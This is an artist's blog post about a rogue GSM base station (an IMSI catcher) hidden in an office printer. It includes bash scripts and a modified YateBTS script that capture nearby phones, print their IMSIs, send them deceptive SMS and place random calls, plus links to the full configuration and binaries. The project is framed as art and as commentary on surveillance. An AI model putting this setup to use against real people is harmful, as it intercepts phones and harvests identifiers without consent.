Published: Sun 30 October 2016







Rogue Cellular Infrastructure Disguised as Office Printer

Stealth Cell Tower is an antagonistic GSM base station in the form of an innocuous office printer. It brings the covert design practice of disguising cellular infrastructure as other things - like trees and lamp-posts - indoors, while mimicking technology used by police and intelligence agencies to surveil mobile phone users.

Masquerading as a regular cellular service provider, Stealth Cell Tower surreptitiously catches phones and sends them SMSs written to appear they are from someone that knows the recipient. It does this without needing to know any phone numbers.



SMS exchange with Stealth Cell Tower

With each response to these messages, a transcript is printed revealing the captured message sent, alongside the victim’s unique IMSI number and other identifying information. Every now and again the printer also randomly calls phones in the environment and on answering, Stevie Wonder’s 1984 classic hit I Just Called To Say I Love You is heard.



Printed output, complete with identifying IMSI number from SIM card

View of interior with BladeRF SDR board (top right) and R-Pi 3 (bottom left) interfacing with printer mainboard

View of interior (right side) with automobile USB device charger converting 21-22v supply from printer to 5v, powering BladeRF and R-Pi 3.

View from printer cartridge bay, modified to host 2 omnidirectional antennae ( TX and RX ) fed by SMA cable to BladeRF.

Conceptual background

Stealth Cell Tower is a continuation of my research into the uncanny design practice of disguising cell towers as other things (like trees, bricks, church spires) - a topic I wrote about in 2014 in an article called Stealth Infrastructure.

Here, Stealth Cell Tower situates this same outdoor practice indoors, where an HP printer is perhaps the most innocuous of flora.



Cell Tower badly disguised as a tree from the Coniferus family

Cell Tower badly disguised as a palm tree (photo taken by the artist in Marrakech)

Cell Tower badly disguised as a lamp post, and placed uncharacteristically near an actual lamp-post, for no discernable reason

Cell Tower very badly disguised as pendulous bricks

Stealth Cell Tower is also a continuation of my studies into the surveillance of mobile phones by police, government intelligence agencies and the military using what have come to be known as IMSI Catchers. The most famous tool within the spy’s inventory is Stingray.



Stingray mobile surveillance hardware as presented in Harris’ original patent application.

In 2013 it was discovered the NSA was found to be spying on the German Bundestag, via the US embassy next door. Danja Vasiliev and I sought to emulate the methods used by the NSA as part of an intervention at Transmediale, where we successfully hooked over 740 mobile phones without knowing their phone number, then proceeding to send them SMSs of a paranoid and sardonic nature. We called our project PRISM: Tower. See also Border Bumping for an earlier (2012) investigation of cellular infrastructure by Oliver.

Hardware

Stealth Cell Tower is a Hewlett Packard Laserjet 1320 printer modified to contain and power components required implement a GSM 900 Base Station.

These components comprise:

BladeRF x40

Raspberry Pi 3

2x short GSM omnidirectional antennae with magnetic base

omnidirectional antennae with magnetic base 2x SMA cable

cable Cigarette-lighter-to- USB -charger circuit (converting 12-24v to 5v)

-charger circuit (converting 12-24v to 5v) 1x USB Micro cable (cut and soldered to output of USB charger)

Micro cable (cut and soldered to output of charger) 1x USB A cable (cut and soldered to printer mainboard)

The HP Laserjet 1320 was chosen not only for its surprisingly unmentionable appearance but also because it had (after much trial and error) the minimal unused interior volumes required to host the components. No cables, other than the one standard power-cord, are externally visible. More so, care has been taken to ensure the printer functions normally when connected via USB cable to the standard socket in the rear.

The Raspberry Pi 3 was chosen after failed attempts to acheive stable YateBTS performance on the Intel Edison (tiny - would’ve saved space!), Beaglebone Black and even an I-MX6 Marsboard. Unlike the antiquated OpenBTS, YateBTS really seems to need those extra cores, otherwise ignoring accelerators like NEON on the Cortex A8/9 platforms.

Code

Stealth Cell Tower is built atop the free and open source API YateBTS, the NiB core script nib.js of which was modified to drive the SMS conversation. welcome.js was modified to automatically respond to calls by playing Stevie Wonder’s 1984 classic hit I Just Called_To Say I Love You from a GSM encoding of an MP3 owned by the artist.

The BTS is run on init, from /etc/rc.local by a script that also filters for log output from exchanges, formats a PDF from the resulting text file and sends it to the printer:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 #!/bin/bash readonly FH = /home/pi/yate.log rm -f $FH # Start the BTS, log to $FH and background yate 2> & 1 -l $FH & sleep 1 echo "Starting up..." last = " " while true ; do # Poll every 10 seconds sleep 10 # Check log for new sniffed 'call route' entries and do some subbing cur = $( cat $FH | grep -A 16 "Sniffed\ 'call.route'" | sed -e "s/param\['//" \ -e "s/'\]//" -e 's/thread.*//' -e 's/time\=[0-9].*//' \ -e 's/\ data=(.*//' -e 's/\ retval=.*//' \ -e 's/\ tmsi.*//' -e 's/ybts/Stealth\ Cell\ Tower/' \ -e 's/Sniffed/Monitored\ =/' -e '/^\s*$/d' \ -e 's/^\s*//' | tail -n 13 ) if [ " $cur " ! = " $last " ] ; then if [ ${# cur } -gt 1 ] ; then echo "New SMS events detected" # Test to see if an IMSI is in the string. If not, look it up and put it in if [[ $cur ! = *imsi* ]] ; then caller = $( echo " $cur " | grep "caller" | awk '{ print $3 }' | sed "s/'//g" \ | tr -cd '[:print:]' ) imsi = $( cat /usr/local/etc/yate/tmsidata.conf | grep " $caller " \ | cut -d '=' -f 1 ) cur = $( echo " $cur " | sed -e "s/\ called\ .*/imsi\ =\ ' $imsi '/" ) fi # Make it all uppercase event = $( echo -e \\ n " $cur " | tr 'a-z' 'A-Z' ) echo "printing file..." echo " $event " > printme # Format a postscript file with enscript enscript -r --header = 'SMS EVENT RECORD|%W|%* UTC' -i2cm --margins = 10:10:30:10 \ -o printme.ps -f Courier@15/12 printme # Convert to PDF ps2pdfwr printme.ps printme.pdf # Send it to the print queue for immediate processing lp -U pi -o a4 -q 100 -d hp_LaserJet_1320_2 printme.pdf fi last = $cur fi done

This script will randomly pick and call an msisdn registered to the BTS:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #!/bin/bash readonly HOST = 127.0.0.1 readonly PORT = 5038 readonly DATA = /usr/local/share/yate/sounds/stevie.au readonly TMSI = /usr/local/etc/yate/tmsidata.conf readonly CC = 49 #MSISDN prefix, matching that of definition in yate conf. callone () { # Play "I Just Called To Say I Love You" by Stevie Wonder, on pickup echo "call wave/play/ $DATA $mt " | netcat -i 1 -q 1 $HOST $PORT # Or, setup channel and route to IAX/SIP # echo "call 'iax/iax:$PORT@11.22.33.44/$PORT' $mt" | netcat -q 1 $HOST $PORT } callall () { for mt in ${ UES [@] } #override $mt do echo "calling $mt " callone done } while true ; do tmsilen = $( wc -l $TMSI | awk '{ print $1 }' ) ues =( $( cat $TMSI | grep -A $tmsilen ues | sed 's/\[ues\]//' | cut -d ',' -f 3 ) ) if [ ! -z $ues ] ; then ueslen = ${# ues } RANGE = $ueslen select = $RANDOM let "select%= $RANGE " mt = ${ ues [ $select ] } callone fi sleep 30 done

YateBTS’s Network in a Box provides a high-level Javascript interface, the core script of which is nib.js. It was modified in several locations to provide for the SMS conversation. An example follows:

function onSMS ( msg ) { Engine . debug ( Engine . DebugInfo , "onSMS" ); var imsi = msg . imsi ; var tmsi = msg . tmsi ; var responses = [ "No probs if you're busy. I'll track you down later." , "Don't remember me? How could I forget you?" , "Hehe, you've probably never noticed - I've been here all along" , "All good. I'm in the corner - come over when you're ready" , "I'm printing the details for you now. Waiting over here for you" , "Give me a call if you like and we can sort this out!" , "I left you something on the printer ;-)" ] ; var randResp = responses [ Math.random ( 0 , responses.length ) ] ; if ( msg . caller == "" || msg . called == "" || ( imsi == "" && tmsi == "" )) { // Protocol error, unspecified msg . error = "111" ; return false ; } if ( tmsi != "" && imsi == "" ) { imsi = getSubscriberIMSI ( null , tmsi ); msg . imsi = imsi ; } if ( imsi == "" || registered_subscribers [ imsi ] == undefined ) { // Unidentified subscriber msg . error = "28" ; return false ; } // user must be registered var msisdn = getRegUserMsisdn ( imsi ); if ( msisdn == false ) { // Unidentified subscriber msg . error = "28" ; return false ; } var dest = msg [ "sms.called" ] ; if ( dest == nib_smsc_number ) { message ( randResp , imsi , msisdn , 3 ); return true ; } // check if short number was used dest = isShortNumber ( dest ); var dest_imsi = getSubscriberIMSI ( dest ); if ( dest_imsi == false ) { msg . error = "1" ; // Unassigned (unallocated) number return false ; } var next_try = Date . now () / 1000 ; var sms = { "imsi" : imsi , "msisdn" : msisdn , "smsc" : msg . called , "dest" : dest , "dest_imsi" : dest_imsi , "next_try" : next_try , "tries" : sms_attempts , "msg" : msg . text }; pendingSMSs . push ( sms ); return true ; }

The complete tree of scripts and configuration files for implementing Stealth Cell Tower is here, as a tar.gz archive (sha256sum a6d2546150f46756bfb7affa8dc82390240f5ba92d2cd03e9f7cfd4b6522cc3b). To use it on an existing install of YateBTS, just:

cd / tar xvzf yatebts_r-pi3_conf-scripts.tar.gz

Precompiled binaries

While compiling Yate and YateBTS on the R-Pi 3 isn’t heinously difficult, it is tedious. For this latter reason I’m providing the source and compiled binaries for the R-Pi 3, running atop kernel 4.4.11-v7 on a Debian 8 system. You can download the entire tree here (sha256sum eaabeb72eb5bf3e62cbfedb43dbc623437b40728b25555d88c9e8f06ca31d090).

Press